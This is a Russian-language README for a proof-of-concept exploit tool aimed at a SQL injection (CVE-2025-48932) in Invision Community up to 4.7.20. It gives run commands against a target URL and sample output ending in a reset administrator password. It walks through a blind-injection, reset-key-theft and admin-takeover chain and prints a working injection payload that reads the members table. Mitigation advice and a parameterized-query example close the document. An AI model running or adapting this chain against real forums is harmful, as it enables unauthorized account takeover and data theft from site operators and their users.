Эксплойт SQL-инъекции в Invision Community (CVE-2025-48932)

Эксплойт с доказательством концепции, демонстрирующий уязвимость SQL-инъекции в Invision Community версий <= 4.7.20.

⚠️ Отказ от ответственности

Данный инструмент предоставляется ТОЛЬКО для образовательных целей и авторизованного тестирования безопасности.

• Несанкционированный доступ к компьютерным системам ПРОТИВОЗАКОНЕН
• Используйте этот инструмент только на системах, которые вам принадлежат или на тестирование которых вы имеете явное письменное разрешение
• Автор НЕ НЕСЁТ ОТВЕТСТВЕННОСТИ за неправильное использование или ущерб, причинённый этим инструментом
• Инструмент предназначен только для исследователей безопасности, специалистов по пентестам и образовательных целей

📋 Содержание

• Описание уязвимости
• Требования
• Установка
• Использование
• Как это работает
• Меры защиты
• Благодарности
• Ссылки

🔍 Описание уязвимости

CVE ID: CVE-2025-48932
Серьёзность: Высокая
Оценка CVSS: TBD
Затронутые версии: Invision Community 4.x до версии 4.7.21

Уязвимость существует в скрипте /applications/calendar/modules/front/calendar/view.php. Пользовательский ввод, передаваемый через параметр запроса location в методе IPS\calendar\modules\front\calendar\view::search(), не фильтруется должным образом перед использованием в SQL-запросах.

Это позволяет удалённым неаутентифицированным злоумышленникам:

• Извлекать конфиденциальные данные из базы данных
• Читать учётные данные администратора
• Потенциально захватывать учётную запись администратора

Условия эксплуатации:

• Приложение Calendar должно быть установлено
• Должна быть настроена функция GeoLocation (например, Google Maps)

Примечание: Хотя SQL-инъекции в Invision Community 4.x версий < 4.7.18 могли приводить к захвату учётных записей администратора и удалённому выполнению кода (RCE) путём сброса пароля администратора, версия 4.7.18 ввела новый ключ шифрования в механизм сброса пароля, что усложнило этот вектор атаки.

📦 Требования

• Python 3.7 или выше
• pip (менеджер пакетов Python)
• Подключение к Интернету
• Целевая система, работающая под Invision Community <= 4.7.20, с:
  • Установленным приложением Calendar
  • Настроенной функцией GeoLocation

🚀 Установка

1. Клонируйте репозиторий:

   root@kitploit:~

   git clone https://github.com/yourusername/invision-sqli-exploit.git
   cd invision-sqli-exploit
   

2. Установите зависимости:

   root@kitploit:~

   pip install -r requirements.txt
   

💻 Использование

Базовое использование

python invision-sqli-exploit.py -u http://target.com/forum/

Подробный режим (для отладки)

python invision-sqli-exploit.py -u https://example.com/community/ -v

Аргументы командной строки

Пример вывода

==================================================
Эксплойт SQL-инъекции в Invision Community <= 4.7.20
CVE-2025-48932
==================================================
Цель: http://example.com/forum/
==================================================

[*] Получение CSRF-токена...
[+] CSRF-токен найден: abc123def456...
[*] Шаг 1: Извлечение email-адреса администратора...
[*] Извлечение данных: [email protected]
[+] Email администратора: [email protected]

[!] Шаг 2: Требуется ручное действие!

Пожалуйста, выполните следующие шаги:
1. Перейдите по адресу: http://example.com/forum/index.php?/lostpassword/
2. Запросите сброс пароля, используя email: [email protected]
3. Нажмите ENTER, когда закончите...

[*] Шаг 3: Извлечение ключа проверки сброса пароля...
[*] Извлечение данных: xyz789abc123...
[+] Ключ сброса: xyz789abc123...
[*] Шаг 4: Сброс пароля администратора...

==================================================
[+] ЭКСПЛУАТАЦИЯ УСПЕШНА!
==================================================

Учётные данные администратора:
  Email:    [email protected]
  Пароль:   Pwned1721234567

Теперь вы можете войти по адресу: http://example.com/forum/index.php?/login/

🔬 Как это работает

Эксплойт работает в четыре основных этапа:

1. Получение CSRF-токена

Скрипт сначала получает CSRF-токен с целевого сайта, который необходим для последующих запросов.

2. Булева слепая SQL-инъекция

Используя алгоритм бинарного поиска, эксплойт извлекает данные из базы данных посимвольно:

• Проверяет каждый символ с помощью условных SQL-запросов
• Использует функцию RLIKE с шаблонами regex для определения условий true/false
• Сообщения об ошибках указывают на успешные условия

3. Извлечение email-адреса администратора

Запрашивает таблицу core_members для извлечения email-адреса администратора.

4. Эксплуатация сброса пароля

• Злоумышленник вручную инициирует сброс пароля для учётной записи администратора
• Эксплойт извлекает из базы данных ключ проверки сброса пароля
• Используя ключ проверки, сбрасывает пароль администратора без доступа к email

Технические детали

Точка инъекции:

parameter location → calendar/view.php → метод search()

Пример полезной нагрузки:

'))OR(SELECT 1 RLIKE(IF(ORD(SUBSTR((SELECT email FROM core_members WHERE member_id=1),1,1))<128,0x28,0x31)))#

Метод эксплуатации: Булева слепая SQL-инъекция с использованием бинарного поиска для эффективного извлечения данных.

🛡️ Меры защиты

Для пользователей

Немедленные действия:

1. Обновитесь до версии 4.7.21 или новее — эта версия устраняет уязвимость
2. Отключите приложение Calendar, если оно не используется
3. Проверьте журналы доступа на подозрительную активность
4. Просмотрите учётные записи администраторов на предмет несанкционированного доступа

Для разработчиков

Практики безопасного программирования:

1. Используйте параметризованные запросы/подготовленные выражения — никогда не конкатенируйте пользовательский ввод в SQL-запросы
2. Валидация ввода — проверяйте и фильтруйте все пользовательские вводы
3. Принцип минимальных привилегий — пользователи базы данных должны иметь минимально необходимые права
4. Межсетевой экран веб-приложений (WAF) — разверните правила WAF для обнаружения попыток SQL-инъекций
5. Регулярный аудит безопасности — проводите периодические проверки кода и пентесты

Пример безопасного кода:

// Уязвимый код
$location = $_REQUEST['location'];
$query = "SELECT * FROM events WHERE location = '$location'";

// Безопасный код
$location = $_REQUEST['location'];
$query = $db->prepare("SELECT * FROM events WHERE location = ?");
$query->execute([$location]);

📅 Хронология раскрытия

👏 Благодарности

Разработчик:

• nanda

Примечание: Это независимая реализация, основанная на публично раскрытой информации об уязвимости (CVE-2025-48932)

📚 Ссылки

• Детали CVE-2025-48932
• Официальный сайт Invision Community
• EDB-ID: 52383

📝 Лицензия

Этот проект лицензирован по лицензии MIT — подробнее см. в файле LICENSE.

🤝 Участие

Вклад приветствуется! Пожалуйста, не стесняйтесь отправлять pull request. Для значительных изменений сначала откройте issue, чтобы обсудить, что вы хотели бы изменить.

⚖️ Юридическое уведомление

Этот инструмент распространяется под лицензией MIT. Используя данное программное обеспечение, вы соглашаетесь:

1. Использовать его только в законных и авторизованных целях тестирования
2. Нести полную ответственность за свои действия
3. Не возлагать на автора ответственность за неправильное использование или ущерб
4. Соблюдать все применимые законы и нормативные акты

Помните: Несанкционированный доступ к компьютерным системам является преступлением в большинстве юрисдикций и может повлечь серьёзные правовые последствия.

Если вы обнаружили уязвимость в безопасности, пожалуйста, ответственно сообщите о ней вендору до её публичного раскрытия.